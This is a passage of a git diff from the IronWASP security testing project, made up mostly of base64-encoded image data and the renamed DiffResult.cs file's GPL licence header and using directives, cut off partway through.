S0pLS0udS0tLCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + km0SEmJHGSALCVtA0dA+CkFFkV0w6BAQISSEsG9hJ9sk8/6oipn03Orp5d5bt26f7+fDh8/nVnf1uXdy + f+fUdg4IgiAIgiAIgiAIgiAIgiAIgiAIgiAIgpAXuqIuKqV2Br4DnA/cpbUe8G2oIAjNoZTqAnYGDgWm + a63vrv3MJo7vLgA+BIwEblFKzQQu11q/5PumBEGoj1LqtcDngcOADwPXAXdHfbarTif7An8ZdOlZ4FJg + FjBfogJByA7W2+8KfBf4ErCVbRoA9tFa3xD1va5hOrwW2K+maS1wBzAD+LXWepnvmxeETkUp9Qbgixhv + vwuwUc1H/gjsr7WO/H7XMJ3vC/y5zueeB34DzARudv2IIAjxYZ3znpiX/nPA6xwfHQA+prW+0dXXcAIA + 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 + + + \ No newline at end of file diff --git a/IronWASP/DiffResult.cs b/Iron/DiffResult.cs similarity index 97% rename from IronWASP/DiffResult.cs rename to Iron/DiffResult.cs index 5e0796e..2c9dccb 100644 --- a/IronWASP/DiffResult.cs +++ b/Iron/DiffResult.cs @@ -1,96 +1,96 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections; -using System.Collections.Generic; -using System.Text; -using 